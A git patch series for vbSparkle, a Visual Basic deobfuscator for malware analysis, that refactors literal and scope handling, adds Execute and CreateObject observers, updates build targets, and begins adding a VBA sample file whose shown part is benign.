2); diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs index 18e9e9a..fe804b5 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDouble.cs @@ -4,8 +4,8 @@ namespace vbSparkle { public class VbLtDouble : VBLiteral { - public VbLtDouble(LtDoubleContext @object) - : base(@object) + public VbLtDouble(IVBScopeObject context, LtDoubleContext @object) + : base(context, @object) { string quoted = @object.GetText(); Value = new DMathExpression(double.Parse(quoted)); diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs index 7f689f7..15b0720 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtFileNumber.cs @@ -5,8 +5,8 @@ namespace vbSparkle { public class VbLtFileNumber : VBLiteral { - public VbLtFileNumber(LtFilenumberContext @object) - : base(@object) + public VbLtFileNumber(IVBScopeObject context, LtFilenumberContext @object) + : base(context, @object) { string quoted = @object.GetText(); Value = new DMathExpression(int.Parse(quoted.Replace("#", ""))); diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs index 78901cb..1c1238f 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtInteger.cs @@ -5,8 +5,8 @@ namespace vbSparkle { public class VbLtInteger : VBLiteral { - public VbLtInteger(LtIntegerContext @object) - : base(@object) + public VbLtInteger(IVBScopeObject context, LtIntegerContext @object) + : base(context, @object) { string quoted = @object.GetText(); if (quoted.EndsWith("#")) diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs index c821f5a..05949f8 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNothing.cs @@ -4,8 +4,8 @@ namespace vbSparkle { public class VbLtNothing : VBLiteral { - public VbLtNothing(LtNothingContext @object) - : base(@object) + public VbLtNothing(IVBScopeObject context, LtNothingContext @object) + : base(context, @object) { Value = new DCodeBlock("Nothing"); } diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs index 58ce9b2..cc1290e 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtNull.cs @@ -4,8 +4,8 @@ namespace vbSparkle { public class VbLtNull : VBLiteral { - public VbLtNull(LtNullContext @object) - : base(@object) + public VbLtNull(IVBScopeObject context, LtNullContext @object) + : base(context, @object) { Value = new DCodeBlock("Null"); } diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs index 3e3405c..3e1be97 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtOctal.cs @@ -5,8 +5,8 @@ namespace vbSparkle { public class VbLtOctal : VBLiteral { - public VbLtOctal(LtOctalContext @object) - : base(@object) + public VbLtOctal(IVBScopeObject context, LtOctalContext @object) + : base(context, @object) { string quoted = @object.GetText(); Value = new DMathExpression(Convert.ToInt32(quoted.Substring(2, quoted.Length - 2), 8)); diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs index 01f46a1..3243643 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtString.cs @@ -6,11 +6,11 @@ namespace vbSparkle { public class VbLtString : VBLiteral { - public VbLtString(LtStringContext @object) - : base(@object) + public VbLtString(IVBScopeObject context, LtStringContext @object) + : base(context, @object) { string quoted = @object.GetText(); - Value = new DSimpleStringExpression(quoted.Substring(1, quoted.Length -2), Encoding.Unicode); + Value = new DSimpleStringExpression(quoted.Substring(1, quoted.Length -2), Encoding.Unicode, context.Options); } public override string Prettify() diff --git a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs index a082623..30b539b 100644 --- a/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs +++ b/Sources/vbSparkle/LanguageStatements/UserScopeObjects/VbUserScopeObject.cs @@ -27,12 +27,26 @@ public abstract class VbUserScopeObject : VbUserIdentifiedObject, IVBScope public Dictionary Variables = new Dictionary(); public Dictionary Constants = new Dictionary(); + + public NativeObjectManager NativeObjectManager { get; } + public VbUserScopeObject( IVBScopeObject context, T @object, string identifier) : base(context, @object, identifier) { + NativeObjectManager = new NativeObjectManager() { Options = context.Options }; + } + + public VbUserScopeObject( + EvaluatorOptions options, + T @object, + string identifier) + : base(null, @object, identifier) + { + this.Options = options; + NativeObjectManager = new NativeObjectManager() { Options = options }; } public EvaluatorOptions _options = null; @@ -89,6 +103,8 @@ public void DeclareVariable(VbUserVariable variable) public virtual VbIdentifiedObject GetIdentifiedObject(string identifier) { + if (identifier.Equals("execute", StringComparison.InvariantCultureIgnoreCase)) + (0).ToString(); string identifierKey = identifier.ToUpper(); VbIdentifiedObject obj1 = null; @@ -97,7 +113,7 @@ public virtual VbIdentifiedObject GetIdentifiedObject(string identifier) return obj1; } - var nativeValue = NativeObjectManager.Current.GetIdentifiedObject(identifierKey); + var nativeValue = NativeObjectManager.GetIdentifiedObject(identifierKey); if (nativeValue != null) return nativeValue; diff --git a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs index f4b4627..8f40c67 100644 --- a/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs +++ b/Sources/vbSparkle/LanguageStatements/ValueStatements/VBVsLiteralContext.cs @@ -17,43 +17,43 @@ public VBVsLiteralContext(IVBScopeObject context, VsLiteralContext @object) var nContext = litContext as LtDelimitedContext; DelimitedLiteralContext litContext2 = nContext.delimitedLiteral(); if (litContext2 is LtStringContext) - Literal = new VbLtString(litContext2 as LtStringContext); + Literal = new VbLtString(Context, litContext2 as LtStringContext); if (litContext2 is LtColorContext) - Literal = new VbLtColor(litContext2 as LtColorContext); + Literal = new VbLtColor(Context, litContext2 as LtColorContext); if (litContext2 is LtOctalContext) - Literal = new VbLtOctal(litContext2 as LtOctalContext); + Literal = new VbLtOctal(Context, litContext2 as LtOctalContext); if (litContext2 is LtDateContext) - Literal = new VbLtDateTime(litContext2 as LtDateContext); + Literal = new VbLtDateTime(Context, litContext2 as LtDateContext); } if (litContext is LtIntegerContext) - Literal = new VbLtInteger(litContext as LtIntegerContext); + Literal = new VbLtInteger(Context, litContext as LtIntegerContext); if (litContext is LtFilenumberContext) - Literal = new VbLtFileNumber(litContext as LtFilenumberContext); + Literal = new VbLtFileNumber(Context, litContext as LtFilenumberContext); if (litContext is LtDoubleContext) - Literal = new VbLtDouble(litContext as LtDoubleContext); + Literal = new VbLtDouble(Context, litContext as LtDoubleContext); if (litContext is LtBooleanContext) - Literal = new VbLtBoolean(litContext as LtBooleanContext); + Literal = new VbLtBoolean(Context, litContext as LtBooleanContext); if (litContext is LtNothingContext) - Literal = new VbLtNothing(litContext as LtNothingContext); + Literal = new VbLtNothing(Context, litContext as LtNothingContext); if (litContext is LtNullContext) - Literal = new VbLtNull(litContext as LtNullContext); + Literal = new VbLtNull(Context, litContext as LtNullContext); } private void AssignDefault(LiteralContext litContext) where T: LiteralContext { if (litContext is T) - Literal = new VBLiteral(litContext as T); + Literal = new VBLiteral(Context, litContext as T); } public override DExpression Prettify(bool partialEvaluation = false) diff --git a/Sources/vbSparkle/LanguageStatements/VbModule.cs b/Sources/vbSparkle/LanguageStatements/VbModule.cs index a23b88c..ad45796 100644 --- a/Sources/vbSparkle/LanguageStatements/VbModule.cs +++ b/Sources/vbSparkle/LanguageStatements/VbModule.cs @@ -50,7 +50,7 @@ public VbModule( EvaluatorOptions options, VBScriptParser.ModuleContext @object) : base( - null, + options, @object, "") { diff --git a/Sources/vbSparkle/Objects/NativeObjectManager.cs b/Sources/vbSparkle/Objects/NativeObjectManager.cs index 6591a1b..7404973 100644 --- a/Sources/vbSparkle/Objects/NativeObjectManager.cs +++ b/Sources/vbSparkle/Objects/NativeObjectManager.cs @@ -8,8 +8,6 @@ namespace vbSparkle public class NativeObjectManager : IVBScopeObject { - public static NativeObjectManager Current { get; } = new NativeObjectManager(); - public Dictionary NativeObjects { get; private set; } = new Dictionary(); @@ -18,16 +16,16 @@ public class NativeObjectManager : IVBScopeObject public NativeObjectManager() { - Add(new VbNativeConstants(this, "vbCrLf", new DSimpleStringExpression("\r\n", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbNewLine", new DSimpleStringExpression("\r\n", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbCr", new DSimpleStringExpression("\r", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbLf", new DSimpleStringExpression("\n", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbTab", new DSimpleStringExpression("\x9", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbBack", new DSimpleStringExpression("\x8", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbNullChar", new DSimpleStringExpression("\x0", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbFormFeed", new DSimpleStringExpression("\xC", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbVerticalTab", new DSimpleStringExpression("\xB", Encoding.Unicode))); - Add(new VbNativeConstants(this, "vbNullString", new DSimpleStringExpression("", Encoding.Unicode))); + Add(new VbNativeConstants(this, "vbCrLf", new DSimpleStringExpression("\r\n", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbNewLine", new DSimpleStringExpression("\r\n", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbCr", new DSimpleStringExpression("\r", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbLf", new DSimpleStringExpression("\n", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbTab", new DSimpleStringExpression("\x9", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbBack", new DSimpleStringExpression("\x8", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbNullChar", new DSimpleStringExpression("\x0", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbFormFeed", new DSimpleStringExpression("\xC", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbVerticalTab", new DSimpleStringExpression("\xB", Encoding.Unicode, this.Options))); + Add(new VbNativeConstants(this, "vbNullString", new DSimpleStringExpression("", Encoding.Unicode, this.Options))); Add(new VbNativeConstants(this, "vbObjectError", new DMathExpression(-0x7FFC0000))); // Strings @@ -134,7 +132,7 @@ public NativeObjectManager() Add(new NativeMethods.VB_MonitoringFunction(this, "DoEvents")); Add(new NativeMethods.VB_MonitoringFunction(this, "Environ")); Add(new NativeMethods.VB_MonitoringFunction(this, "Environ$")); - Add(new NativeMethods.VB_MonitoringFunction(this, "Execute")); + Add(new NativeMethods.VB_Execute(this)); Add(new NativeMethods.VB_MonitoringFunction(this, "GetAllSettings")); Add(new NativeMethods.VB_MonitoringFunction(this, "GetObject")); Add(new NativeMethods.VB_MonitoringFunction(this, "GetSetting")); @@ -254,6 +252,9 @@ private VbNativeConstants Add(VbNativeConstants wrapper) public VbIdentifiedObject GetIdentifiedObject(string identifier) { + if (identifier == "Execute") + (0).ToString(); + if (NativeObjects.ContainsKey(identifier.ToUpper())) { return NativeObjects[identifier.ToUpper()]; diff --git a/Sources/vbSparkle/Options/EvaluatorOptions.cs b/Sources/vbSparkle/Options/EvaluatorOptions.cs index 580cec2..e4b85ac 100644 --- a/Sources/vbSparkle/Options/EvaluatorOptions.cs +++ b/Sources/vbSparkle/Options/EvaluatorOptions.cs @@ -1,7 +1,30 @@ -namespace vbSparkle.Options +using System.Collections.Generic; + +namespace vbSparkle.Options { + public class LargeStringAllocationObserver + { + public List LargeStringAllocated { get; set; }= new List(); + public int MinSize { get; internal set; } = 50; + } + + public class ExecuteObserver + { + public List VBScriptExecuted { get; set; } = new List(); + } + + + public class CreateObjectObserver + { + public List CreateObjectObserved { get; set; } = new List(); + } + public class EvaluatorOptions { + public LargeStringAllocationObserver LargeStringAllocationObserver { get;set;} = null; + public ExecuteObserver ExecuteObserver { get; set; } = null; + public CreateObjectObserver CreateObjectObserver { get; set; } = null; + public SymbolRenamingMode SymbolRenamingMode { get; set; } = SymbolRenamingMode.None; public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } = JunkCodeProcessingMode.Comment; diff --git a/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs b/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs index 00240a4..5ff9738 100644 --- a/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs +++ b/Sources/vbSparkle/PreProcessor/PPNativeObjectManager.cs @@ -7,7 +7,6 @@ namespace vbSparkle.PreProcessor public class PPNativeObjectManager : IVBScopeObject { - public static NativeObjectManager Current { get; } = new NativeObjectManager(); public Dictionary NativeObjects { get; private set; } = new Dictionary(); diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBLiteral.cs b/Sources/vbSparkle/PreProcessor/Statements/VBLiteral.cs index 085a4ca..a01b2bd 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBLiteral.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBLiteral.cs @@ -5,9 +5,10 @@ public class VBLiteral : VBLiteral { public T Object { get; set; } - public VBLiteral(T @object) + public VBLiteral(IVBScopeObject context, T @object) { Object = @object; + Context = context; Value = new DCodeBlock(@object?.GetText()); } @@ -19,6 +20,7 @@ public override string Prettify() public abstract class VBLiteral { + public IVBScopeObject Context { get; set; } public DExpression Value { get; set; } public abstract string Prettify(); diff --git a/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs b/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs index 9a8e8a9..9085e3c 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VBVsLiteralContext.cs @@ -17,34 +17,34 @@ public VBVsLiteralContext(IVBScopeObject context, VsLiteralContext @object) var nContext = litContext as LtDelimitedContext; DelimitedLiteralContext litContext2 = nContext.delimitedLiteral(); if (litContext2 is LtStringContext) - Literal = new VbLtString(litContext2 as LtStringContext); + Literal = new VbLtString(Context, litContext2 as LtStringContext); if (litContext2 is LtColorContext) - Literal = new VbLtColor(litContext2 as LtColorContext); + Literal = new VbLtColor(Context, litContext2 as LtColorContext); if (litContext2 is LtOctalContext) - Literal = new VbLtOctal(litContext2 as LtOctalContext); + Literal = new VbLtOctal(Context, litContext2 as LtOctalContext); if (litContext2 is LtDateContext) - Literal = new VbLtDateTime(litContext2 as LtDateContext); + Literal = new VbLtDateTime(Context, litContext2 as LtDateContext); } if (litContext is LtIntegerContext) - Literal = new VbLtInteger(litContext as LtIntegerContext); + Literal = new VbLtInteger(Context, litContext as LtIntegerContext); if (litContext is LtDoubleContext) - Literal = new VbLtDouble(litContext as LtDoubleContext); + Literal = new VbLtDouble(Context, litContext as LtDoubleContext); if (litContext is LtBooleanContext) - Literal = new VbLtBoolean(litContext as LtBooleanContext); + Literal = new VbLtBoolean(Context, litContext as LtBooleanContext); } private void AssignDefault(LiteralContext litContext) where T : LiteralContext { if (litContext is T) - Literal = new VBLiteral(litContext as T); + Literal = new VBLiteral(Context, litContext as T); } public override DExpression Prettify(bool partialEvaluation = false) diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs index ab22f13..7014c59 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtBoolean.cs @@ -6,8 +6,8 @@ namespace vbSparkle.PreProcessor.Statements { public class VbLtBoolean : VBLiteral { - public VbLtBoolean(LtBooleanContext @object) - : base(@object) + public VbLtBoolean(IVBScopeObject context, LtBooleanContext @object) + : base(context, @object) { string quoted = @object.GetText(); if (quoted.Equals("True", StringComparison.InvariantCultureIgnoreCase)) diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs index c722e17..b6465f3 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtColor.cs @@ -5,8 +5,8 @@ namespace vbSparkle.PreProcessor.Statements { public class VbLtColor : VBLiteral { - public VbLtColor(LtColorContext @object) - : base(@object) + public VbLtColor(IVBScopeObject context, LtColorContext @object) + : base(context, @object) { string quoted = @object.GetText(); Value = new DMathExpression(Convert.ToInt32(quoted.Substring(2).Replace("&", ""), 16)); diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs index bb29321..ba7b600 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtDateTime.cs @@ -6,8 +6,8 @@ namespace vbSparkle.PreProcessor.Statements { public class VbLtDateTime : VBLiteral { - public VbLtDateTime(LtDateContext @object) - : base(@object) + public VbLtDateTime(IVBScopeObject context, LtDateContext @object) + : base(context, @object) { string date = @object.GetText(); date = date.Substring(1, date.Length - 2); diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs index 00b8c7f..06f65a0 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtDouble.cs @@ -4,8 +4,8 @@ namespace vbSparkle.PreProcessor.Statements { public class VbLtDouble : VBLiteral { - public VbLtDouble(LtDoubleContext @object) - : base(@object) + public VbLtDouble(IVBScopeObject context, LtDoubleContext @object) + : base(context, @object) { string quoted = @object.GetText(); Value = new DMathExpression(double.Parse(quoted)); diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs index e54d7ba..79f47c4 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtInteger.cs @@ -5,8 +5,8 @@ namespace vbSparkle.PreProcessor.Statements { public class VbLtInteger : VBLiteral { - public VbLtInteger(LtIntegerContext @object) - : base(@object) + public VbLtInteger(IVBScopeObject context, LtIntegerContext @object) + : base(context, @object) { string quoted = @object.GetText(); if (quoted.EndsWith("#")) diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs index 5a22645..333c7cd 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtOctal.cs @@ -5,8 +5,8 @@ namespace vbSparkle.PreProcessor.Statements { public class VbLtOctal : VBLiteral { - public VbLtOctal(LtOctalContext @object) - : base(@object) + public VbLtOctal(IVBScopeObject context, LtOctalContext @object) + : base(context, @object) { string quoted = @object.GetText(); Value = new DMathExpression(Convert.ToInt32(quoted.Substring(2, quoted.Length - 2), 8)); diff --git a/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs b/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs index d2c1fcb..d94a440 100644 --- a/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs +++ b/Sources/vbSparkle/PreProcessor/Statements/VbLtString.cs @@ -6,11 +6,11 @@ namespace vbSparkle.PreProcessor.Statements { public class VbLtString : VBLiteral { - public VbLtString(LtStringContext @object) - : base(@object) + public VbLtString(IVBScopeObject context, LtStringContext @object) + : base(context, @object) { string quoted = @object.GetText(); - Value = new DSimpleStringExpression(quoted.Substring(1, quoted.Length - 2), Encoding.Unicode); + Value = new DSimpleStringExpression(quoted.Substring(1, quoted.Length - 2), Encoding.Unicode, context.Options) ; } public override string Prettify() diff --git a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs index 06345bb..9c3e290 100644 --- a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs +++ b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs @@ -14,9 +14,10 @@ public class VbPreprocessorAnalyser public VbPreprocessorAnalyser(EvaluatorOptions options) { Options = options; + context = new PreProcessor.PPNativeObjectManager() { Options = options }; } - private PreProcessor.PPNativeObjectManager context { get; set; } = new PreProcessor.PPNativeObjectManager(); + private PreProcessor.PPNativeObjectManager context { get; set; } internal string Visit(StartRuleContext stContext) { diff --git a/Sources/vbSparkle/vbSparkle.csproj b/Sources/vbSparkle/vbSparkle.csproj index caa0de5..9f078a1 100644 --- a/Sources/vbSparkle/vbSparkle.csproj +++ b/Sources/vbSparkle/vbSparkle.csproj @@ -1,12 +1,12 @@  - netstandard2.0 + netstandard2.0;net6.0;net8.0 true true LICENSE.txt - https://github.com/airbus-cert/vbSparkle - https://github.com/airbus-cert/vbSparkle + https://github.com/sbruyere/vbSparkle + https://github.com/sbruyere/vbSparkle vbscript, visualbasic, vba, deobfuscation, malware, reverse vbSparkle is a source-to-source multi-platform Visual Basic deobfuscator based on partial-evaluation and is mainly dedicated to the analysis of malicious code written in VBScript and VBA (Office Macro). @@ -16,7 +16,7 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR Airbus CERT, Sylvain Bruyere Airbus CERT, Sylvain Bruyere Airbus - 1.0.2 + 1.0.3 @@ -27,7 +27,7 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR - + From e968fd8b6dd8a89a25fb92adea95a2b0d20322e3 Mon Sep 17 00:00:00 2001 From: Sylvain Bruyere Date: Fri, 17 May 2024 15:34:29 +0200 Subject: [PATCH 11/14] fix workflow --- .github/workflows/dotnet.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/dotnet.yml b/.github/workflows/dotnet.yml index 2d29079..b4a83fe 100644 --- a/.github/workflows/dotnet.yml +++ b/.github/workflows/dotnet.yml @@ -16,7 +16,7 @@ jobs: - name: Setup .NET uses: actions/setup-dotnet@v2 with: - dotnet-version: 6.0.x + dotnet-version: 8.0.x - name: Restore dependencies run: dotnet restore - name: Build From 90a3928f2ca3c74c3b4ef8948850ed04d6363084 Mon Sep 17 00:00:00 2001 From: Sylvain Bruyere Date: Wed, 7 Aug 2024 17:58:38 +0200 Subject: [PATCH 12/14] Add Environ () emulator Add Shell() interceptor Add CreateObject() interceptor --- Resources/samples/sample_11.txt | 208 + .../Properties/launchSettings.json | 2 +- .../vbSparkle.Console/vbSparkle.CLI.csproj | 2 +- .../Blocks/VbCaseStatement.cs | 2 +- .../Blocks/VbCondExpStatement.cs | 2 +- .../Blocks/VbDoLoopStatement.cs | 2 +- .../Blocks/VbForEachStatement.cs | 2 +- .../Blocks/VbForNextStatement.cs | 2 +- .../Blocks/VbIfBlockStmtContext.cs | 2 +- .../Blocks/VbIfConditionStmtContext.cs | 2 +- .../Blocks/VbIfElseBlockStmtContext.cs | 2 +- .../Blocks/VbIfElseIfBlockStmtContext.cs | 2 +- .../Blocks/VbIfThenElseStatement.cs | 2 +- .../Blocks/VbInlineIfBlockStmtContext.cs | 2 +- .../Blocks/VbInlineIfElseBlockStmtContext.cs | 2 +- .../Blocks/VbInlineIfThenElseStatement.cs | 2 +- .../Blocks/VbSelectCaseStatement.cs | 2 +- .../Blocks/VbWhileStatement.cs | 3 +- .../Blocks/VbWithStatement.cs | 2 +- .../LanguageStatements/Functions/VBMethod.cs | 104 +- .../Literals/LiteralContext.cs | 8 +- .../Literals/VbLtBoolean.cs | 2 +- .../LanguageStatements/Literals/VbLtColor.cs | 2 +- .../Literals/VbLtDateTime.cs | 2 +- .../LanguageStatements/Literals/VbLtDouble.cs | 2 +- .../Literals/VbLtFileNumber.cs | 2 +- .../Literals/VbLtInteger.cs | 2 +- .../Literals/VbLtNothing.cs | 2 +- .../LanguageStatements/Literals/VbLtNull.cs | 2 +- .../LanguageStatements/Literals/VbLtOctal.cs | 2 +- .../LanguageStatements/Literals/VbLtString.cs | 2 +- .../ValueStatements/VBValueStatement.cs | 2 +- .../ValueStatements/VBVsAddressOfContext.cs | 2 +- .../ValueStatements/VBVsAssignContext.cs | 2 +- .../ValueStatements/VBVsDualOperation.cs | 2 +- .../ValueStatements/VBVsICSContext.cs | 2 +- .../ValueStatements/VBVsLiteralContext.cs | 2 +- .../ValueStatements/VBVsNewContext.cs | 2 +- .../ValueStatements/VBVsStructContext.cs | 2 +- .../ValueStatements/VBVsTypeOfContext.cs | 2 +- .../ValueStatements/VBVsUnaryOperation.cs | 2 +- .../VbLockUnlockArgsStatements.cs | 2 +- .../LanguageStatements/VbVariableStatement.cs | 6 + .../VbWithArgsStatements.cs | 2 +- .../vbSparkle/Objects/NativeObjectManager.cs | 8 +- Sources/vbSparkle/Options/EvaluatorOptions.cs | 6 + .../PreProcessor/PreProcessorParser.cs | 3 - .../Statements/VBMacroValueStatement.cs | 2 +- .../Statements/VBValueStatement.cs | 2 +- .../Statements/VBVsConstContext.cs | 2 +- .../Statements/VBVsDualOperation.cs | 2 +- .../Statements/VBVsLiteralContext.cs | 2 +- .../Statements/VBVsStructContext.cs | 2 +- .../Statements/VBVsUnaryOperation.cs | 2 +- .../PreProcessor/Statements/VbLtBoolean.cs | 2 +- .../PreProcessor/Statements/VbLtColor.cs | 2 +- .../PreProcessor/Statements/VbLtDateTime.cs | 2 +- .../PreProcessor/Statements/VbLtDouble.cs | 2 +- .../PreProcessor/Statements/VbLtInteger.cs | 2 +- .../PreProcessor/Statements/VbLtOctal.cs | 2 +- .../PreProcessor/Statements/VbLtString.cs | 2 +- Sources/vbSparkle/VBPreprocessors.interp | 191 + Sources/vbSparkle/VBPreprocessors.tokens | 95 + .../vbSparkle/VBPreprocessorsBaseListener.cs | 687 + Sources/vbSparkle/VBPreprocessorsLexer.cs | 377 + Sources/vbSparkle/VBPreprocessorsLexer.interp | 263 + Sources/vbSparkle/VBPreprocessorsLexer.tokens | 95 + Sources/vbSparkle/VBPreprocessorsListener.cs | 569 + Sources/vbSparkle/VBPreprocessorsParser.cs | 4417 ++++ Sources/vbSparkle/VBScript.interp | 622 + Sources/vbSparkle/VBScript.tokens | 253 + Sources/vbSparkle/VBScriptBaseListener.cs | 2389 ++ Sources/vbSparkle/VBScriptLexer.cs | 997 + Sources/vbSparkle/VBScriptLexer.interp | 718 + Sources/vbSparkle/VBScriptLexer.tokens | 253 + Sources/vbSparkle/VBScriptListener.cs | 1993 ++ Sources/vbSparkle/VBScriptParser.cs | 21674 ++++++++++++++++ Sources/vbSparkle/VbPreProcessorsAnalyser.cs | 2 +- Sources/vbSparkle/antlr-4.13.1-complete.jar | Bin 0 -> 2139203 bytes Sources/vbSparkle/vbSparkle.csproj | 16 +- vbSparkle.sln | 6 + 81 files changed, 35994 insertions(+), 75 deletions(-) create mode 100644 Resources/samples/sample_11.txt create mode 100644 Sources/vbSparkle/VBPreprocessors.interp create mode 100644 Sources/vbSparkle/VBPreprocessors.tokens create mode 100644 Sources/vbSparkle/VBPreprocessorsBaseListener.cs create mode 100644 Sources/vbSparkle/VBPreprocessorsLexer.cs create mode 100644 Sources/vbSparkle/VBPreprocessorsLexer.interp create mode 100644 Sources/vbSparkle/VBPreprocessorsLexer.tokens create mode 100644 Sources/vbSparkle/VBPreprocessorsListener.cs create mode 100644 Sources/vbSparkle/VBPreprocessorsParser.cs create mode 100644 Sources/vbSparkle/VBScript.interp create mode 100644 Sources/vbSparkle/VBScript.tokens create mode 100644 Sources/vbSparkle/VBScriptBaseListener.cs create mode 100644 Sources/vbSparkle/VBScriptLexer.cs create mode 100644 Sources/vbSparkle/VBScriptLexer.interp create mode 100644 Sources/vbSparkle/VBScriptLexer.tokens create mode 100644 Sources/vbSparkle/VBScriptListener.cs create mode 100644 Sources/vbSparkle/VBScriptParser.cs create mode 100644 Sources/vbSparkle/antlr-4.13.1-complete.jar diff --git a/Resources/samples/sample_11.txt b/Resources/samples/sample_11.txt new file mode 100644 index 0000000..47f7aa5 --- /dev/null +++ b/Resources/samples/sample_11.txt @@ -0,0 +1,208 @@ +Attribute VB_Name = "ThisDocument" +Attribute VB_Base = "1Normal.ThisDocument" +Attribute VB_GlobalNameSpace = False +Attribute VB_Creatable = False +Attribute VB_PredeclaredId = False +' Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) +' Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) + +' Sub ChangeText() +' ActiveDocument.Words(19).Text = "The " +' End Sub + +Sub DeleteText() + ' Dim rngFirstParagraph As Range + + ' Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range + ' With rngFirstParagraph + ' .Delete + ' .InsertAfter Text:="New text" + ' .InsertParagraphAfter + ' End 